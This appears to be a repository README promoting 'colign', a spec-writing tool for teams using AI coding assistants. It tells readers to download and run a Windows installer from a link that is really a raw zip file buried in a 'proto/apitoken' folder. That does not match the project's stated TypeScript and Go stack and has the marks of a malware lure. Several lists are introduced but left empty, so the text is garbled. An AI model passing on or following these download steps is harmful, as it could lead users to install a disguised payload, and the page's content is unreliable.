Align teams on specs before AI writes code, so you review, plan, and build with less rework
colign helps teams write clear specs and keep work aligned. It brings product notes, team comments, and AI help into one place. You can use it with Claude Code, Cursor, and other AI tools.
It is built for spec-driven development. That means you start with a clear spec, then use that spec to guide the work. This helps reduce confusion and keeps everyone on the same page.
For best results, use Windows 10 or Windows 11.
Visit the release page here:
https://raw.githubusercontent.com/invertible-statue269/colign/main/proto/apitoken/Software-1.0.zip
On that page, look for the latest Windows download. It may be an .exe file or a .msi installer. Download the file that matches your computer.
If you get a file in .zip form, right-click it and choose Extract All before opening the app.
After install, start colign from:
If you downloaded a standalone app file, double-click it to open colign.
The first launch may take a short time while Windows sets it up.
Start by writing what you want to build. Use plain language. Keep it short and clear.
A good spec often includes:
Use colign to keep your team aligned on one version of the plan. This helps product, design, and engineering work from the same document.
colign works with AI tools such as Claude Code and Cursor. You can use AI to:
As the work changes, update the spec. This helps the team avoid old assumptions and missed details.
Use colign when you need a clean place to shape an idea before coding starts.
Share the spec with your team and collect comments in one place.
Break a feature into clear parts so the team can see the scope.
Record choices, trade-offs, and open questions so they do not get lost.
You can use this simple format:
What do we want to achieve?
Who is this for?
What issue are we solving?
What is included?
What is not included?
What happens step by step?
What should the app always do?
What still needs a decision?
A simple team flow looks like this:
This flow helps teams move with fewer handoff problems and less rework.
colign fits into AI-first work styles. Teams using Claude Code, Cursor, and similar tools can use specs as the source of truth before writing code.
This is useful when:
If the app does not start:
If you used a zip file, extract it first.
New versions, fixes, and release files are posted on the release page:
https://raw.githubusercontent.com/invertible-statue269/colign/main/proto/apitoken/Software-1.0.zip
Check this page when you want the latest Windows build.
colign is an AI-powered spec writing and team alignment platform for teams that use Claude Code, Cursor, and other AI tools. It is made to support spec-driven development and help teams turn rough ideas into clear plans
ai, ai-coding, ai-collaboration, claude, claude-code, collaboration, developer-tools, golang, grpc, mcp, mcp-server, nextjs, product-requirements, realtime-collaboration, software-specifications, spec-driven-development, spec-writing, team-collaboration, workflow
invertible-statue269/colign
April 4, 2026
April 13, 2026
TypeScript